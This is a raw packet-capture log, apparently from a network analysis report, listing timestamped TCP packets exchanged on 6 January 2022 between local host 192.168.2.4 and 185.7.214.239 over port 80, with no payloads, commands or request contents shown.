Jan 6, 2022 21:05:04.678992033 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679012060 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679022074 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679054022 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679064035 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679092884 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679101944 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679136992 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679147005 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679177999 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679186106 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679218054 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679231882 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679259062 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679270983 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679312944 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679322958 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679354906 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679374933 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679399014 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679416895 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679450035 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679450989 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679493904 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679501057 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679543018 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679557085 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679580927 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679596901 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679621935 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679636955 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679662943 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679688931 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679702997 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679738045 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679753065 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679755926 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679792881 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679821968 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679852009 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679883003 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679924965 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679934978 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679964066 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.679976940 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.679987907 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.680005074 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.680020094 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.680047035 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.680063009 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.680084944 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.680100918 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.680126905 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.680141926 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.680175066 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.680186033 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.680213928 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.680227995 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.680254936 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.680269957 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.680294991 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.680309057 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.680335999 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.680351019 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.680377960 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.680392981 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.680438042 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.739687920 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.739717007 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.739757061 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.739778996 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.739801884 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.739820957 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.739825010 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.739842892 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.739849091 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.739850044 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.739871979 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.739871979 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.739885092 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.739891052 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.739897966 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.739906073 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.739922047 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.739947081 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.739954948 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.739959002 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740004063 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740027905 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740031958 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740041018 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740051031 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740077019 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740101099 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740103006 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740108013 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740113020 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740125895 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740148067 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740156889 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740165949 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740171909 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740174055 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740214109 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740221977 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740230083 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740236998 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740258932 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740282059 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740299940 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740304947 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740329981 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740338087 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740354061 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740366936 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740377903 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740401983 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740403891 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740423918 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740442038 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740463018 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740479946 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740497112 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740514994 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740531921 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740567923 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740571976 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740591049 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740597010 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740611076 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740643024 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740665913 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740673065 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740681887 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740689993 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740715027 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740734100 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740747929 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740771055 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740781069 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740787983 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740791082 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740806103 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740822077 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740840912 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740875006 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740876913 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740885019 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.740895033 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740911961 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740927935 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740943909 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740963936 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740979910 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.740997076 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741009951 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741018057 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741019011 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741031885 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741036892 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741039038 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741043091 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741049051 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741080046 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741101027 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741106987 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741117954 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741122007 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741130114 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741138935 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741154909 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741166115 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741174936 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741187096 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741208076 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741211891 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741229057 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741247892 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741250992 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741271973 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741286993 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741288900 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741308928 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741308928 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741329908 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741343975 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741353035 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741364002 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741377115 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741388083 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741401911 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741409063 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741424084 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741426945 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741446018 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741461039 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741466999 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741478920 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741488934 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741508007 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741509914 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741527081 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741530895 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741550922 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741564989 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741571903 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.741585970 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741615057 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.741626024 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.800458908 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.800509930 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.800551891 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.800590992 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.800628901 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.800673008 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.800678015 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.800699949 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.800705910 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.800710917 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.800719976 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.800760984 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.800774097 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.800801992 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.800808907 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.800839901 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.800860882 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.800898075 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.800929070 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.800981998 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.800981998 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801019907 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801034927 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801059961 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801074028 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801100016 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801115036 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801139116 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801151991 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801178932 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801192999 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801219940 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801233053 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801258087 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801273108 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801297903 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801311016 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801337004 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801351070 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801377058 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801388025 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801420927 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801435947 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801460028 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801474094 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801501036 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801510096 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801541090 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801558971 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801583052 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801623106 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801644087 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801661968 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801682949 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801703930 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801716089 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801744938 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801760912 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801785946 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801794052 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801827908 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801837921 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801867008 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801876068 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801906109 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801914930 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801948071 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801954985 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.801987886 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.801999092 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802031040 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802046061 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802072048 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802078962 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802112103 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802126884 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802153111 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802159071 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802192926 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802201986 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802232981 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802239895 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802272081 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802279949 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802352905 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802357912 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802392006 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802401066 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802433014 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802440882 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802474022 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802481890 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802514076 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802521944 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802558899 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802565098 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802598000 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802604914 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802638054 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802644968 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802678108 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802687883 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802716017 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802732944 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802757978 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802764893 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802798033 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802838087 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802879095 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802901983 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802915096 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802917004 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802920103 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802927017 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.802958012 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.802999973 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803015947 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803026915 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803039074 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803045034 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803080082 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803113937 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803118944 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803128958 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803159952 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803181887 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803200960 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803237915 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803239107 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803256035 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803277969 CET	80	49866	185.7.214.239	192.168.2.4
